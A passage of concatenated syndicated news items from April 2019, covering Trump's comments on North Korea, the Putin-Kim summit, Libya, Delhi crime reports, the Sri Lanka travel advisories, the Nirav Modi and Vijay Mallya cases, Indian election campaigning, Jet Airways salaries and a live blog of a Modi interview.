a tweet Friday that "no money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." North Korea denies accusations by Warmbier's relatives that it tortured him. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Donald Trump on Friday welcomed Russian and Chinese help with North Korean nuclear negotiations, despite Kim Jong Un accusing the US of "bad faith" at a first summit with Vladimir Putin. "I appreciate that Russia and China are helping us," he told reporters at the White House. Putin's first summit with Kim on Thursday was seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without agreement. But Trump indicated that he does not see China and Russia as rivals in the struggle to get North Korea to give up its nuclear arsenal. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea." Kim left his summit with Putin indicating that he has cooled on the much-touted bid by Trump to woo his country into a non-nuclear future. The official Korean Central Agency reported that Kim told Putin the US had adopted a "unilateral attitude in bad faith" at the Hanoi summit. "Peace and security on the Korean peninsula will entirely depend on the US future attitude, and the DPRK will gird itself for every possible situation," Kim was quoted as saying. Putin backed the North's demand for "security guarantees" in its standoff with the United States over the nuclear capability, which Washington wants to see scrapped entirely, but Pyongyang fears would leave the country vulnerable. Trump has claimed that he and Kim have a special friendship and even "love." But their second summit, held in Hanoi, broke down in late February without a deal, after cash-strapped Pyongyang demanded immediate relief from sanctions. Russia has also called for the sanctions to be eased, while the US has accused Moscow of trying to help Pyongyang evade some of the measures. In another setback just a week ago, Pyongyang demanded the removal of US Secretary of State Mike Pompeo from the stalled nuclear talks. On Thursday, Putin emerged from the meeting saying that like Washington, Moscow supported efforts to reduce tensions and prevent nuclear conflicts. But he also insisted that the North needed "guarantees of its security, the preservation of its sovereignty". It was "what the North has been saying all along" said Kim Keun-sik, professor of North Korean Studies at Kyungnam University, adding that Putin's support for Pyongyang's stance was the "biggest prize" Kim won in Vladivostok. Putin flew on to another summit in Beijing the same day, while Kim stayed in Vladivostok and had been due to take part in a series of cultural events. The mercurial North Korean kept officials in suspense about his post-summit plans. A wreath-laying ceremony was delayed by two hours on Friday morning, with an honour guard kept waiting and the red carpet rolled up. Kim eventually showed up and the wreath was laid. Solemn music played as he stood, hat in hand wearing a black double-breasted waistcoat. Russian media had reported that Kim would be visiting the city's aquarium and seeing a ballet, but the visit was apparently cut short. Kim instead turned up at the train station in the afternoon and, after a final departure ceremony with a military band, boarded his train and left around 3:30 pm (0530 GMT). Putin and Kim said they were looking to strengthen ties that date back to the Soviet Union's support for the founder of North Korea, Kim's grandfather Kim Il Sung. Kim said he hoped to usher in a "new heyday" in ties. The North Korean strongman invited Putin to visit "at a convenient time" and the invitation was "readily accepted", KCNA said. "Kim met Putin because he wanted to show he had someone on his side," said Lee Woo-young, a professor at the University of North Korean Studies in Seoul. "Kim is seeking the upper hand for future talks with the US and meeting foreign leaders like Putin can help him do that." But Washington was unlikely to be swayed, he added, with analyst Kim also doubting the US would be "surprised or alarmed". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President Donald Trump said Friday he welcomes the roles of Russia and China in negotiating with North Korea over its nuclear arsenal. "I appreciate that Russia and China are helping us," he told reporters at the White House. Russian President Vladimir Putin held a first summit with North Korean leader Kim Jong Un on Thursday in a move seen as a response to the failure of a Kim-Trump meeting in Hanoi in February, where talks broke down without any agreement. Trump indicated that he does not see China and Russia as rivals in the struggle to influence North Korea and that they are all on the same page. "China is helping us because I think they want to. They don't need nuclear weapons right next to their country," Trump said. "I think we're doing very well with North Korea. A lot of progress is being made," he added. "I appreciated President Putin's statement yesterday. He wants to see it done also. I think there is a lot of excitement for getting a deal done with North Korea. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) President Donald Trump said Friday Saudi Arabia and others in OPEC agreed to his request to boost oil production in order to tamp down prices. "Spoke to Saudi Arabia and others about increasing oil flow. All are in agreement," Trump said on Twitter. Earlier in the day he said his efforts to persuade the OPEC oil producers were working and gasoline prices were coming down. But he blamed taxes in California for high prices there. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) (ANSA) - Beijing, April 26 - Italy is with neither General Khalifa Haftar nor Libyan Premier Fayex al-Sarraj in the Libya crisis, Premier Giuseppe Conte told a press conference in Beijing Friday. He said Haftar's aim of reuniting Libyan territory might have "an inspiring logic and a plausibility but our position is proving to be far-sighted". "I am not supporting any individual Libyan actor," said Conte. "We believe that a military solution is absolutely not trustworthy," Conte said. He said the Italian position was "in favour of the Libyan people, not Haftar or Sarraj. "It is in favour of the Libyan people which has been suffering for too long. Conte called on the leaders of the EU and the US to help reach a political solution. Conte earlier Friday phoned Sarraj, premier's sources said. The call took place shortly after Conte arrived on a visit to Beijing, they said. Conte "announced that Italy will make every possible effort to put an end to this crisis and the shedding of Libyan blood," the government of national accord said on its Facebook page. "Conte stated that there is no military solution to the crisis in Libya," it said. Italy is trying to broker a ceasefire between Sarraj's UN-backed government and eastern Libyan strongman Haftar. Haftar's forces have moved close to Tripoli, where the internationally recognised government is located. Conte on Friday called for "an immediate end to this attack and the return of Haftar's forces to their previous positions," the Sarraj-led government said. "The premier reiterated Italy's total refusal of the attack on Libyan capital Tripoli, which takes Libya back to the time of the wars after it was close to a political solution to the crisis", it said on Facebook. Sarraj, for his part, said the Libyan national army would continue to defend the capital with all their strength and keep fighting till "the forces of the aggressor withdraw and return to their former positions". Two brothers were arrested for allegedly shooting at a collection agent of finance company following a heated argument in Aman Vihar area, police said Friday. The accused duo were identified as Alok (25) and Anil (22), they said. The incident took place on April 20 when Subham (21), a resident of Pahladpur Bangur, Delhi went to Aman Vihar to collect the part payment of TV loan from a customer. At the residence of the accused persons, a heated argument broke out between the customer's wife and the agent over the part payment of loan, police said. Subsequently, customer Arvind and his both sons Alok and Anil came out of their house. Arvind and Anil caught hold of the victim while Alok fired four rounds upon him by a country made pistol, S D Misra, Deputy Commissioner of Police (Rohini) said. Three bullets hit the victim's body. After that, presuming that the victim had died all three fled from the spot, he said. Following a tip-off, the accused duo were arrested on April 24 from near Metro Station, Nangloi, he added. Both accused brothers are unemployed and have criminal records. They wanted to dominate their area and hence arranged firearms, the DCP said. On the day of the incident, they could not tolerate the language and tone of the collection agent and in order to teach him a lesson, they fired at him. He was left unattended in the street and due to their fear, none from neighbourhood dared to shift him to the hospital, police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Gunmen have abducted two Chinese nationals from a construction site in southeast Nigeria, police said Friday. The two were abducted by armed men wearing masks in Ohaozara in Ebonyi State on Thursday, police spokeswoman Loveth Odah said. "The area was combed to track down the bandits but no result. A track down rescue team has been dispatched in order to rescue the Chinese nationals unhurt," Odah added. She made no comment on the motivation for the attack but kidnapping for ransom is common in Nigeria, especially in the oil-rich south. The victims are usually released after payment. On Wednesday, four local emergency workers were abducted while returning from an assignment in oil-rich Rivers state. Local media, citing family sources, said the kidnappers have demanded a ransom of 40 million naira (USD 112,000) for the four. Many Chinese companies are engaged in multi-billion dollar infrastructure projects, including railways, airports and roads in Nigeria and their workers have often been targeted by kidnap gangs. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Two suspected members of the "Thak-Thak" gang, including a juvenile, were apprehended from south Delhi and an amount of nearly Rs 50 lakh was recovered from them, police said on Friday. One of the accused was identified as P Vikash (24), a resident of Inderpuri, and the other was a juvenile, they added. An amount of Rs 49.51 lakh and a scooter were seized from their possession, the police said. On April 18, a resident of Greater Kailash-II in south Delhi lodged a police complaint, wherein he stated that he was on his way home in his Audi car from his factory situated at the Narayana Industrial area. As he reached near the Seema Sadak Bhawan on Ring Road, two motorcycle-borne persons punctured his car's rear tyre, Deputy Commissioner of Police (south) Vijay Kumar said. After some time, three men came on a scooter and drew the complainant's attention to the deflated tyre. Subsequently, as the complainant, his driver and servant got busy changing the tyre, one of the accused took a bag containing Rs 51 lakh in cash from the car and fled, the officer said. The accused were nabbed on Thursday following a tip-off that they were seen in the Madangir area with the stolen bag, the DCP said. Vikash, his associates Sunil, Rohit, Deepak and the juvenile used to roam around in two groups on motorcycles. They primarily used to target luxury cars. One group used to puncture a tyre of the car with a sharp object. As the driver or owner of the car got out of the vehicle to check the tyre, one of the gang members would take away the valuables from the car, the officer said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Two journalists, including a woman, have come under attack in separate incidents in Nalbari and Tinsukia districts of Assam, a police officer said on Friday. Rajen Deka, a correspondent with Assamese daily 'Dainik Asom', was assaulted with sharp weapons Thursday night allegedly by BJP activist Ripul Deka alias Baba at Tegheriattari village of Nalbari, he said. "Rajen, who was on his way home, sustained serious injuries on his head, chest, wrist and arms. He is currently undergoing treatment at Gauhati Medical College and Hospital," the officer said. The BJP activist, accompanied by some youths, managed to escape in an auto-rickshaw after the attack, he said. "One of the youths, identified as Jintu Medhi, uploaded a post on social media Friday morning, threatening to kill the journalist. An FIR has been lodged against both Ripul Deka and Jintu Medhi in connection with the case," he said. Condemning the attack, Assam Chief Minister Sarbananda Sonowal asked Director General of Police Kuladhar Saikia to speed up the investigations and ensure that the culprits were booked at the earliest. In another incident, Tinsukia-based television journalist Upasana Barua Goswami was assaulted by a group of four miscreants in a restaurant. All four of them, identified as Pramod Gogoi, Pragjyoti Das, Dhananjay Dutta and Dwipan Sonowal have been arrested, a senior police officer said. The journalist, employed with News18 Assam-Northeast, claimed that she visited a restaurant late on Thursday, where the miscreants tried to misbehave with her. "The men, in an inebriated state, tried to misbehave with me, but the owner of the restaurant immediately intervened. One of them suddenly slapped the female manager and others started attacking me and my husband. "I recorded the entire incident on my mobile phone and informed the police," she added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The UK and Australia have advised their citizens not to travel to Sri Lanka unless their journey is essential as terrorists were "likely" to carry out further attacks in the country, following the deadly Easter Sunday bombings that killed 253 people and injured over 500. According to advisories, future attacks could be indiscriminate, including in places visited by foreigners. In the immediate aftermath of the bombings, the The UK Foreign Office (FCO) updated its guidance, urging British citizens in the country to avoid large gatherings. But on Thursday it went further, warning about the potential for more attacks. "The Foreign and Commonwealth Office advise against all but essential travel to Sri Lanka, due to the current evolving security situation following attacks on April 21 2019," it said. "Terrorists are very likely to try to carry out attacks in Sri Lanka. Attacks could be indiscriminate, including in places visited by foreigners." Foreign Office officials told those at the briefing that the change to travel advice was not due to fresh intelligence but instead a necessary precaution. The situation still remains volatile in Sri Lanka after nine suicide bombers, believed to be members of a local Islamist extremist group called National Thowheed Jamath (NTJ), carried out the blasts that killed 253 people and wounded more than 500 others. The death toll from the Islamist attack on Easter Sunday was revised downwards on Thursday from 359 to 253 people killed. Following similar warning from the UK, the US, Australia on Thursday warned more terror attacks were "likely" in Sri Lanka, cautioning citizens against visiting the island nation. "Terrorists are likely to carry out further attacks in Sri Lanka," the foreign ministry warned in its latest travel advice. "Attacks could be indiscriminate, including in places visited by foreigners. Security has been stepped up across the island and a State of Emergency and night-time curfew remain in place," it said. The US State Department on Thursday again issued an advisory and warned that terrorist groups "continue plotting" possible attacks, with targets including tourist locations, places of worship and airports. The blasts - the deadliest attacks in the country's history - are likely to devastate the country's tourism industry which had been thriving in the decade of peace since the end of the country's civil war in 2009. Tourism is a major source of income for Sri Lanka and the industry has only in recent years begun to recover after the 26-year civil war. In 2009, there were 448,000 foreign visitors to the country, but since 2016, the figure has leapt to more than 2 million a year. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Fugitive diamond merchant Nirav Modi was Friday further remanded into custody till May 24 by a UK court hearing his extradition case in the USD 1-billion Punjab National Bank (PNB) fraud and money laundering case. The 48-year-old, who has been behind bars at Wandsworth prison in south-west London since his arrest last month, appeared before Westminster Magistrates' Court Chief Magistrate Emma Arbuthnot via videolink from the jail. Dressed in a beige and black sweater and looking slightly less dishevelled than his last appearance in person before the court in March, Modi spoke only to confirm his name. "Mr Modi, you will be back for another short hearing via videolink on May 24, with a full hearing in the case planned for May 30 when you will be produced in person," Judge Arbuthnot told the diamantaire. She asked his barrister Jessica Jones if there were any matters to be considered and was told there were none, which confirmed that Modi's team did not file another bail application before the court. The May 24 hearing will be another procedural one, to meet the 28-day timeline for judicial custody in such cases in the UK. The case will then proceed to a full case management hearing, scheduled for May 30 so far, when Modi will be produced in person. The Crown Prosecution Service (CPS), arguing on behalf of the Indian authorities, was represented by barrister Nilofar Bawla at Friday's hearing, which followed a second bail application being rejected by Judge Arbuthnot on March 29 on the grounds that there was a "substantial risk he would fail to surrender". "This is a case of substantial fraud, with loss to a bank in India of between USD 1-2 billion. I am not persuaded that the conditional bail sought will meet the concerns of the government of India in this case," Judge Arbuthnot had noted in her ruling. Modi's legal team could have made a third bail application at the court on Friday but only if the grounds for the bail plea are substantially different. The CPS has previously confirmed that Modi intends to appeal against the rejection of bail in the UK High Court. However, such an application has not been logged so far. Previously, Modi's legal team, led by solicitor Anand Doobay, had offered 1 million pounds as security alongside an offer to meet stringent electronic tag restrictions on their client's movements, "akin to house arrest". The diamond dealer's "lack of community ties" in the UK and an attempt to acquire the citizenship of Vanuatu - a remote island located in the South Pacific Ocean - in late 2017 went against him as the judge said it seemed like he was trying to move away from India at an important time. CPS barrister Toby Cadman had argued that there was a substantial risk that the prime accused in the PNB fraud case would flee and attempt to interfere with witnesses and evidence. "Due to the nature of his business he has at his disposal diamonds gold and pearls, Cadman told the court. During the course of the hearing last month, it emerged that Modi had made death threats to witnesses and also attempted to destroy evidence such as mobile phones and a server holding material critical to the fraud. Modi's defence team, the same as that deployed by former Kingfisher Airlines boss Vijay Mallya in his extradition case, denied the allegations and said their client saw the UK as a haven where his case will be fairly considered. Modi is believed to have been living in the UK on an Investor Visa, applied for in 2015 at a time when the so-called golden visa route was relatively easier for super-rich individuals to acquire residency rights in the UK based on a minimum of 2-million pound investment. He was arrested by uniformed Scotland Yard officers in central London on March 19. During his first court appearance a day later, it emerged that the diamantaire accused of defrauding PNB via fraudulent Letters of Undertaking (LoUs) had been in possession of multiple passports, since revoked by the Indian authorities. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BJP president Amit Shah Friday said his party's policy is to reply with a bombshell if Pakistan fires a bullet, while the Congress just plays 'Ilu-Ilu' with terrorists. Shah borrowed the phrase from a Bollywood song Ilu is an abbreviation for 'I love you' at an election rally in Jalore, where he claimed that Congress president Rahul Gandhi was "disappointed" when the Indian Air Force struck a terror camp in Pakistan. Rahul Baba, you do Ili-Ilu with terrorists. We don't do that. Our policy is very clear, he said. Wahan se goli ayegi to yahan se gola jayega (If a bullet comes here, a shell lands there), he said. Shah claimed there was disappointment at Rahul Gandhi's office when the IAF struck at Balakot in Pakistan after a terror strike in Kashmir. The day when the entire country was cheering, distributing sweets, there was disappointment at two places. One, in Pakistan and the other, in Rahul Gandhi and company's office, he said. He targeted the Congress over the call in the Valley to revive the post of 'Wazir-e-Azam' in Jammu and Kashmir. "Their allies in Kashmir say that there should be a second prime minister. They want two prime ministers. Can there be two prime ministers in one country? Kashmir is an integral part of India and no one can separate it from India, he said. The Bharatiya Janata Party president said the 2019 Lok Sabha elections are about protecting the country's honour, teaching a lesson to the terrorists and giving a befitting reply to Pakistan. He said Congress ruled for 55 years but only gave slogans in the name of removing poverty. Shah said he has come to the Jalore meeting after visiting 259 other locations and found there is support for Prime Minister Narendra Modi everywhere. "I have visited east, west, north and south of the country and only one slogan is common -- Modi, Modi, Modi, he said. It has become a slogan of everyone in the country. The slogan is not just because of Modi's popularity but also due to work done by the government under his leadership to win the people's hearts," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Turkey would like to see the resolution of political and security issues between India and Pakistan through dialogue, said Ibrahim Kalin, Senior Advisor to the Turkish President Recep Tayyip Erdogan here Friday. Kalin also said that Turkey is looking at "ways and mechanisms" to continue its oil trade with Iran. Last Monday, the US announced it would end the sanctions relief next month for eight countries -- including India and Turkey -- which are importing Iranian crude oil, "We are talking with Americans on this issue. We are also talking with the Europeans. We are on the same page with the Europeans. We are trying to find ways and mechanisms so that we can continue to trade with Iran," he said. In November last year, the US granted a six-month waiver to India, China, Greece, Italy, Taiwan, Japan, Turkey and South Korea to continue importing oil from Iran. The temporary waiver ends on May 2. India imports about 10 per cent of its total oil requirement from Iran. About issues between India and Pakistan, Kalin said,"We would like to see a resolution of these political difficulties and pressing security issues through political dialogues. And the stability and safety of both India and Pakistan is extremely important for us as well and for peace and stability in the region. We will continue to work on this relationship." Kalin, who was speaking at a conference here at Observer Research Foundation (ORF), also condemned the terrorist attack in Jammu-and-Kashmir's Pulwama district in which 40 CRPF personnel were killed on February 14 when a suicide bomber rammed an explosives-laden vehicle into the bus carrying soldiers of the paramilitary force. "The terrorist attack happened in Pulwama. We immediately condemned it. Our President (Erdogan) talked to both Prime Minister of Pakistan (Imran Khan) and your Prime Minister (Modi). We said we can not approve of this kind of act of terrorism," he said. He said in Turkey's view there is no difference between the attack that happened in New Zealand and the attack in Sri Lanka. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday in Sri Lanka, killing total 253 people. On March 15, a self-styled white supremacist killed 50 people and injured as many others in two Christchurch mosques, the deadliest mass shootings in modern New Zealand history. Praising the multiculturalism of India, Kalin said, "it is important to remember that long before the ideas of multiculturalism, religious pluralism and diversity were even discussed in Europe, they were practised here in this part of the world". "Hindus and Muslims and Jains and Buddhists and Sunnis and Shias and all the other divisions - there were always some difficulties and I don't want to idealise everything - but the fact is that that cultural experience of cultural co-existence...is practiced here". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Champion wrestler 'The Great Khali' on Friday turned up for the nomination filing of BJP candidate for Jadavpur constituency Anupam Hazra, drawing huge crowds that cheered him as he travelled in an open jeep. "We are old friends," Hazra said about Khali, who said the BJP candidate was a like a "brother" to him. People came out in droves to see India's first world heavyweight wrestling champion in WWE, whose actual name is Dalip Singh Rana. 'The Great Khali', towering at seven feet and one inch, waved and smiled at the colourful procession that travelled along with him and Hazra from Ranikuthi to Alipore Survey Building, where the nomination was filed, covering a distance of almost six kilometers. "When he (Khali) came to know I am fighting elections, he said he will come... It is because of our bonding that he came. He has never been to any such event earlier," said Hazra, a professor at Vishvabharati University. "I will come whenever and wherever he calls me," Khali said, as he urged people to vote for Hazra. Hazra also said the presence of Khali is not an attempt to "intimidate" the ruling Trinamool Congress, of which he was an MP from the Bolpur constituency. He was expelled from the TMC for anti-party activities in January this year. The BJP, which he joined three days after expulsion from the TMC, nominated him from the Jadavpur Lok Sabha constituency. Hazra is up against Trinamool's filmstar candidate Mimi Chakraborty and CPI(M)'s Bikash Bhattacharya, a senior lawyer and a former Kolkata mayor. On Khali, Hazra added that he had met him five-six years back in Delhi at an event, and they have been close friends since then. "When he came to know that I am contesting the elections again, Khali said he will be in India for a week and will come to Kolkata to take part in my campaign," he told PTI. Khali is now a US citizen. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) No Di Maio-Toto contact on Alitalia - ministry Possible bid wd be weighed by FS, commissioners (ANSAmed) - ROME, APRIL 26 - The industry ministry said Friday there had been no contact between Industry Minister Luigi Di Maio and the Toto Group over Alitalia. It said reports of a meeting in Taranto were groundless. Di Maio did cross paths with Riccardo Toto for a few seconds in New York, among hundreds of business people, the ministry said. Ministry sources said the Alitalia turnaround and revamp was a market operation and if Toto made an offer it would be "willingly" weighed by Ferrovie dello Stato (FS) and the Alitalia commissioners. Reports said earlier the Toto family were interested in taking a 20-30% stake in the troubled former national flag carrier.(ANSAmed). Karnataka BJP chief B S Yeddyurappa has requested the Election Commission to reconsider its decision to "relax" the model code of conduct for the state government and to direct it to strictly abide by the code. Stating that the decisions of the state government on various projects will have ramifications in other states where Lok Sabha elections are in progress, Yeddyurappa asked the commission to direct the state government to annul all decisions taken by it in the last two days. He said the Karnataka government was "claiming" that the EC had relaxed the model code of conduct and allowed it to take up developmental works which include projects related to infrastructure, purchases and services. "The state government claimed that the CEC has given permission to float and finalise tenders on this," he said in a letter to the chief election commissioner dated April 25 that was released to the media on Friday. "My gut feeling is, in this transition period when the general elections are in progress, the decisions taken by the state government will amount to violation of the model code of conduct, leading to various irregularities. I wonder (if CEC has given permission) how the CEC has taken this decision to relax the guidelines of the poll code," he said. In the letter, Yeddyurappa noted that as a norm, the model code will be in force till the completion of elections and the notification of results. However, he said, the code will not bar works related to drought, natural disasters and emergency services such as providing drinking water or rescue works. Meanwhile, speaking to reporters on the issue, state BJP general secretary Arvind Limbavali asked the Karnataka government not to take up any major project-related work. "The government should immediately take up drought relief work which is allowed," he said, and accused the chief minister and his cabinet ministers of not reviewing the drought situation even three days after the end of the last leg of parliamentary polls in the state on April 23. The first leg of the Lok Sabha polls in Karnataka was held on April 18. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Debt-laden Jet Airways' Chief Executive Officer (CEO) Vinay Dube told the airline's staff on Friday that its lenders are unable to make any salary commitments until after the bidding process is complete. In a letter to its employees, Dube said that "We have told them repeatedly that our employees are facing grave hardships owing to non-payment of their salaries and that if this were to continue any longer, our employees will have no option but to find employment elsewhere." He said that the top leadership has spent the last few days trying to convince the consortium of Indian banks to release some funds for our employees, while continuing to support the bank led bid process for Jet Airways. "We face this reality despite our best efforts to portray the very real suffering that is being endured by each one of you." The cash-strapped airline is currently under the control of a consortium of lenders led by the State Bank of India, which is hoping to recover Rs 8,400 crore via a bidding process for selling stake in the airline. Jet Airways, which has over 16,000 employees, has delayed payment of salaries to the employees, including pilots, cabin crew, technicians and ground staff. Some of them had not been paid on time for over three months. Also Read: British entrepreneur Jason Unsworth takes up offer to buy stake in Jet Airways with lenders "While on the one hand, we are being told to preserve the value of Jet Airways during the bid process, on the other hand, with no salary payment, some of our colleagues, who are the very fabric and value of this airline, have no choice but to find employment elsewhere. When we highlight the disappointing irony of this situation to the lenders, we are simply told that this problem is to be addressed by the company's shareholders, who should and could have agreed on a Resolution Plan a long time ago," Dube's letter added. Dube said that the company's top team has held "considerable deliberations" in the various Board meetings regarding the release of emergency funding from the promoter and strategic shareholder, including Etihad Airways, for payment of salary arrears, which has not yielded positive results. "While we will continue to support the Lender led bid process in our effort to leave no stone unturned, it pains us to communicate that no clarity or commitment on salaries has been provided by any of our stakeholders," he added. Also Read: 'Absorbed close to 1,000 Jet Airways employees, will do more,' says SpiceJet Chairman Ajay Singh Jet Airways on Wednesday reported that a British entrepreneur, Jason Unsworth, had expressed interest in acquiring a controlling stake in the airline. The company had asked Unsworth to interact with SBI Caps Limited that is leading the resolution plan for the embattled carrier. So far, four entities - Etihad Airways, TPG Capital, Indigo Partners and National Investment and Infrastructure Fund (NIIF) - have been shortlisted for the bidding process and their details are expected to be cleared by May 10. Edited by Chitranjan Kumar The London High Court will hear embattled fugitive businessman Vijay Mallya's oral plea against his extradition on July 2. Earlier, the London HC had rejected the Indian tycoon's plea against the extradition order by the UK Home Office and the Westminster Court. During a hearing back home in India on Thursday, Mallya's lawyer told the Bombay High Court that by declaring him a fugitive economic offender and allowing attachment of his assets, a special court had awarded him nothing but an "economic death penalty". Vijay Mallya's counsel, Amit Desai, appearing before a bench of justices Ranjit More and Bharati Dangre said, "My (Vijay Mallya) debts and the interest on such debts are mounting." 'PM Modi or banks': Vijay Mallya says someone is lying While challenging several provisions of the Fugitive Economic Offenders Act that have been slapped against Mallya, his counsel said Vijay Mallya had assets to pay off his "debts but the government won't allow the use of these assets to clear the debts." Mallya's counsel pleaded before the court to pass an injunction against the confiscation of Mallya's properties in India, but the court refused to do so. The India court had declared Vijay Mallya a fugitive economic offender under the Fugitive Economic Offenders Act in January. Mallya later challenged the provisions of the act which allowed authorities to confiscate his assets and place them under the government control. Through another petition, Mallya had challenged the special court order that also declared him a Fugitive Economic Offender (FEO). The case was being heard by another division bench of the Bombay High Court. Calling the FEO Act "draconian" and "unconstitutional", Desai said the Act had forced the government to seize everything, irrespective of whether a property was bought from the proceeds of the alleged crime or not. Vijay Mallya renews application before UK High Court to avoid extradition Opposing the defence plea, Enforcement Directorate (ED) Counsel DP Singh argued in the court that the Act was not draconian. "In fact, this act prohibits prosecuting agencies from acting on their own. For everything, including attachment of properties, we are supposed to get a court order that is passed only after hearing all sides," Singh said. He said the FEO Act was not ordinary legislation, and that it was meant for Mallya like people only. "The act has been constituted to bring back defaulters who have defaulted amounts of Rs 100 crore and above," the counsel said. However, the court noted that the legislation was a sound one and not draconian. "We understand this legislation is a little harsh. But that is because it deals with draconian situations," the bench said. It, however, issued a notice to the attorney general to respond to Mallya's plea challenging the act. Earlier Vijay Mallya put a series of tweets, criticising the government and banks for spending money on legal fees to recover money from him in the UK when he had offered 100% payback in India. None other than the Prime Minister of India specifically says in an interview that his Government has recovered more money than I allegedly owe PSU Banks and the same Banks claim otherwise in English Courts. Who does one believe ? One or the other is lying. Vijay Mallya (@TheVijayMallya) April 18, 2019 Manoj Sharma with agency inputs Vijay Mallya shocked as UK court rejects plea against extradition Prime Minister Narendra Modi, in an exclusive interview to Aaj Tak and India Today, has opened up like never before on a host of issues, including job losses, agrarian distress, doubling of farm income, EVM, disinvestment, and the situation in Jammu and Kashmir. Shot at the serene ghats of Kashi a day before PM Modi filed his nomination, this unscripted interview takes a deep dive into the most pressing issues of the 2019 Lok Sabha Elections. During this unique and unforgettable interview with Aaj Tak editors, Prime Minister Narendra Modi will be seen answering all the uncomfortable questions, including the BJP's decision to field Pragya Singh Thakur, an accused in the Malegaon bomb blast, from Bhopal Lok Sabha constituency and controversies related to black money, demonetisation, and the Rafale deal. This exclusive interview with Modi will be aired on Aaj Tak and India Today at 7 pm today. During this no holds barred interview with Aaj Tak Executive Editor Shweta Singh, India Today News Director Rahul Kanwal, and Senior Executive Editor Anjana Om Kashyap, PM Modi said time and again a handful of families in Kashmir had indulged in blackmailing of the people of the Valley. "When Mufti (Mufti Mohammad Sayeed) sahib was alive, we thought we would be able to change that. But it was a mahamilavat (the alliance between BJP and PDP)," said PM Modi. He added the people's verdict in J&K was such that there was no alternative and the BJP had to tie up with PDP to form the government. "Only one formula can work in J&K, and that is Vajpayee's 'Insaniyat-Kashmiriyat-Jammuriyat'," he said. Modi also said he was disappointed with TMC chief and West Bengal's Chief Minister Mamata Banerjee. "Mei hairan hun ki Mamata jaise log bade ho gye hai," he said, adding his earlier perception that "Mamata didi" was committed and wanted to work for people was proved wrong. You can watch the full interview on India Today TV and Aaj Tak at 7 PM today. All the updates related to the interview will be available on BusinessToday.In and IndiaToday.In, other India Today Group platforms, and all social media platforms. You can also log into our YouTube channels to watch the biggest interview of the Lok Sabha elections 2019. A day after mega show of strength in Varanasi on Thursday, PM Modi filed his nomination, seeking re-election from the holy city of Kashi. Congress has nominated Ajay Rai for the Varanasi Lok Sabha seat. Varanasi will go to polls in the phase 4 of the Lok Sabha election on April 29. In 2014, Modi won the Varanasi Lok Sabha seat, defeating Aam Aadmi Party chief Arvind Kejriwal by a massive margin of 3.37-lakh vote. Modi had pulled 5.16 lakh votes -- about half the total votes -- while Congress' Ajay Rai had finished third. Edited by Manoj Sharma Aviation regulator DGCA has started a probe into the incident of the plane carrying Congress President Rahul Gandhi suffering engine trouble, a senior official said. The plane on way to Patna was forced to return to Delhi on Friday after experiencing "engine trouble". The senior Directorate General of Civil Aviation (DGCA) official said the Hawker 850 XP aircraft VT-KNB returned back to Delhi after take-off due to a technical snag. Also Read: Independent candidate challenges Rahul Gandhi's Amethi nomination; says he is UK citizen "DGCA has initiated investigation as per the laid down procedure," he told PTI. The aircraft landed safely in Delhi at 1020 hours. There were ten people on board including two crew members, the official said. Also Read: What Rahul Gandhi promised to the youth in manifesto On Twitter, Gandhi posted a video of the flight which shows him, the pilot and the co-pilot in the plane. "Engine trouble on our flight to Patna today! We've been forced to return to Delhi," he tweeted. Also Read: DGCA blames pilots of Rahul Gandhi's plane for near-crash in April In an explosive interview with India Today, Indian Prime Minister Narendra Modi today for the first time spoke at length about highly-debated topics including demonetisation, unemployment and a slowing economy. Prime Minister Narendra Modi refused to agree there is a job crisis in the country and said no one has the figures to prove that demonetisation had caused massive unemployment. Prime Minister Modi defended the decision to demonetise old Rs 500 and Rs 1,000 currencies saying it was an attack on black money in the country. He also said that demonetisation had changed the mindset of the nation on black money. The prime minister also emphasised that the tax base has doubled thanks to demonetisation as people started declaring their income instead of hiding. 3x times the 'Josh' 3x times the questions The most UNFORGETTABLE interview with PM @narendramodi Tune in to India Today TV & Aaj Tak at 7 pm#ModiOnAajTak #Kashi pic.twitter.com/rqZdzLkOIQ India Today (@IndiaToday) April 26, 2019 PM Modi on Friday filed his nomination papers to contest the Lok Sabha Election 2019 from Varanasi parliamentary constituency. Prime Minister Narendra Modi reached the District Collectorate's office to file his nomination papers from the temple town as it votes in phase 4 of the Lok Sabha Election 2019 on May 10. The Prime Minister met top BJP leaders and NDA allies before filing his papers. Also Read: Lok Sabha Election 2019: Poll dates, full schedule, voting FAQs, election results, constituencies' details Also Read: Here are all the live updates on the Lok Sabha Election 2019. 8:14pm: "Incomes can be doubled by lowering input costs, hiking MSP, giving solar panels, exploring new avenues like honey and adding value. Indian corporates are not making even 1% investment in agriculture, I have told them they must pitch in," PM Modi said over doubling farmers' income. 8:08pm: "I believe judiciary should be independent. When I was Gujarat CM, I faced SIT investigation without any fuss. I was interrogated for 9 hours. It was possible because I respect institutions. To honour the institution is the responsibility of all the citizens, politicians, and the government," PM Modi said about the allgations of national institutions being undermined. 8:01pm: "There is scope for improvement in everything. Nothing is final, change is constant, otherwise the world wouldn't last this long," PM Modi in on the question of whether he would have changed anything in the implementation of demonetisation. 7:55pm: "Those who claim there was job loss due to demonetisation don't have stats to back that. People are looking for excuses to discredit the huge decision of demonetisation," said PM Modi. 7:51pm: PM Narendra Modi exclaimed that he is satisfied with the economic management of his government. 7:50pm: 